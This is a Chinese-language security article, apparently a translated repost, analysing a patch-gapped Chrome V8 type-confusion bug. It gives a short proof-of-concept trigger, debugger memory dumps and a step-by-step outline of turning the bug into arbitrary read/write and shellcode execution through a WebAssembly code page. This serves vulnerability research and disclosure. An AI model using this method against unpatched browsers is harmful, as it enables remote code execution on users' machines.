补丁未到,利用先行:看我如何发现、分析并利用 Chrome 1day 漏洞 (Patch- Gapping)?
背景
在 HiddenClass 中存储对象形状是另一种节省存储空间的尝试。HiddenClass 在概念上类似于面向对象语言中的类。不过,由于无法预先知道基于原型的语言如 JavaScript 中对象的属性配置,因此可以按需创建。JS 引擎仅为既定形状创建单个 HiddenClass,且被具有相同结构的所有对象进行分享。在对象中添加命名属性会导致创建新的 HiddenClass,其中包含所有先前属性和新属性的存储详细信息,之后对象的映射得以更新,如下所示:
另外一种常见的优化方法是将整数键控元素存储密集地或以打包的格式存储,前提是它们均适合特定表示,如小的整数或浮点数。这样就绕过了引擎中常见的 value boxing,将数字存储为 Number 对象的指针,从而节省空间并加快对阵列的操作。V8 处理多个类似元素类型如 PACKED_SMI_ELEMENTS,表示一个连续存储的小整数的元素数组。这种存储格式在对象的映射中进行追踪并需要一直进行更新以避免类似的类型混淆问题。元素种类被组织到一个点阵中,只允许转换到更一般的类型。这意味着向具有 PACKED_SMI_ELEMENTS 元素种类增加浮点值将把每个值转换为两个,设定新增值并将元素种类更改为 PACKED_DOUBLE_ELEMENTS。
Object.preventExtensions:阻止将新属性添加到对象中
Object.seal:阻止增加新属性以及对现有属性的重新配置(更改可写入的、可枚举的或可配置的特性)。
Object.freeze:和 Object.seal 相同但同时阻止更改属性值,因此有效地阻止对对象的修改。
PoC 分析
// Based on test/mjsunit/regress/regress-crbug-992914.js
function mainSeal() {
const a = {foo: 1.1}; // a has map M1
Object.seal(a); // a transitions from M1 to M2 Map(HOLEY_SEALED_ELEMENTS)
const b = {foo: 2.2}; // b has map M1
Object.preventExtensions(b); // b transitions from M1 to M3 Map(DICTIONARY_ELEMENTS)
Object.seal(b); // b transitions from M3 to M4
const c = {foo: Object} // c has map M5, which has a tagged `foo` property, causing the maps of `a` and `b` to be deprecated
b.__proto__ = 0; // property assignment forces migration of b from deprecated M4 to M6
a[5] = 1; // forces migration of a from the deprecated M2 map, v8 incorrectly uses M6 as new map without converting the backing store. M6 has DICTIONARY_ELEMENTS while the backing store remained unconverted.
}
mainSeal();
利用
pwndbg> job 0x065cbb40bdf1
0x65cbb40bdf1: [FixedDoubleArray]
map: 0x1d3f95f414a9
length: 16
0: 0.1
1: 1
2: 2
3: 3
4: 4
…
pwndbg> tel 0x065cbb40bdf0 25
00:0000 0x65cbb40bdf0 -> 0x1d3f95f414a9 <- 0x1d3f95f401
01:0008 0x65cbb40bdf8 <- 0x1000000000
02:0010 0x65cbb40be00 <- 0x3fb999999999999a
03:0018 0x65cbb40be08 <- 0x3ff0000000000000
04:0020 0x65cbb40be10 <- 0x4000000000000000
Elements:存储在字典中的元素数量
Deleted:被删除的元素数量
Capacity:可被存储在字典中的元素数量。支持数字字典的 FixedArray 的长度将是三倍的 capacity 加上字典的额外头部组成部分(四个)。
Max number key index:字典中存储的最大数量的键
pwndbg> job 0x2d7782c4bec9
0x2d7782c4bec9: [NumberDictionary]
- map: 0x0c48e8bc16d9 <Map>
- length: 28
- elements: 4
- deleted: 0
- capacity: 8
- elements: {
0: 0x0c48e8bc04d1 <undefined> -> 0x0c48e8bc04d1 <undefined>
1: 0 -> 16705
2: 0x0c48e8bc04d1 <undefined> -> 0x0c48e8bc04d1 <undefined>
3: 1 -> 16706
4: 0x0c48e8bc04d1 <undefined> -> 0x0c48e8bc04d1 <undefined>
5: 0x0c48e8bc04d1 <undefined> -> 0x0c48e8bc04d1 <undefined>
6: 2 -> 16707
7: 3 -> 16708
}
pwndbg> tel 0x2d7782c4bec9-1 25
00:0000 0x2d7782c4bec8 -> 0xc48e8bc16d9 <- 0xc48e8bc01
01:0008 0x2d7782c4bed0 <- 0x1c00000000
02:0010 0x2d7782c4bed8 <- 0x400000000
03:0018 0x2d7782c4bee0 <- 0x0
04:0020 0x2d7782c4bee8 <- 0x800000000
05:0028 0x2d7782c4bef0 <- 0x100000000
06:0030 0x2d7782c4bef8 -> 0xc48e8bc04d1 <- 0xc48e8bc05
...
09:0048 0x2d7782c4bf10 <- 0x0
0a:0050 0x2d7782c4bf18 <- 0x414100000000
0b:0058 0x2d7782c4bf20 <- 0xc000000000
0c:0060 0x2d7782c4bf28 -> 0xc48e8bc04d1 <- 0xc48e8bc05
...
0f:0078 0x2d7782c4bf40 <- 0x100000000
10:0080 0x2d7782c4bf48 <- 0x414200000000
11:0088 0x2d7782c4bf50 <- 0xc000000000
// Find entry for key otherwise return kNotFound.
template <typename Derived, typename Shape>
int HashTable<Derived, Shape>::FindEntry(ReadOnlyRoots roots, Key key,
int32_t hash) {
uint32_t capacity = Capacity();
uint32_t entry = FirstProbe(hash, capacity);
uint32_t count = 1;
// EnsureCapacity will guarantee the hash table is never full.
Object undefined = roots.undefined_value();
Object the_hole = roots.the_hole_value();
USE(the_hole);
while (true) {
Object element = KeyAt(entry);
// Empty entry. Uses raw unchecked accessors because it is called by the
// string table during bootstrapping.
if (element == undefined) break;
if (!(Shape::kNeedsHoleCheck && the_hole == element)) {
if (Shape::IsMatch(key, element)) return entry;
}
entry = NextProbe(entry, count++, capacity);
}
return kNotFound;
}
inline static uint32_t FirstProbe(uint32_t hash, uint32_t size) {
return hash & (size - 1);
}
inline static uint32_t NextProbe(uint32_t last, uint32_t number, uint32_t size) {
return (last + number) & (size - 1);
}
任意代码执行
O:将用于触发该漏洞的对象。
Padding:一个被用于填充的数组,在与o完全正确的偏移量位置获取目标浮点数数组。
Float_array: 通过o 上的越界元素删除成为初始长度损坏的目标。
Tarr:用于损坏下一个类型数组的TypedArray。
Aarw_tarr:用于任意内存访问的类型数组。
Obj_addrof:用于实现泄露任意 JavaScript 对象地址的 addrof 原语的对象。
创建如上描述的结构。
触发该漏洞,通过删除 o 上的属性来损坏 float_array 的长度。如果这一步骤失败,则重新加载页面重新开始利用。
损坏 tarr 的长度以提高依赖性,因为继续使用受损坏的浮点数数组将引发问题。
损坏 aarw_tarr 的后备存储并用它获取对地址空间的任意读写权限。
加载 WebAssembly 模块。它将4KiB 的读写可执行存储区映射到地址空间。
使用任意读/写原语遍历 WebAssembly 模块中导出函数的 JSFunction 对象层次结构,以查找读写可执行区域的地址。
用shellcode 替换 WebAssembly 函数的代码并通过调用该函数来执行它。
检测
缓解
结论
另外一个 Chrome 1day 利用分析文章:
https://blog.exodusintel.com/2019/04/03/a-window-of-opportunity/
原文链接
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。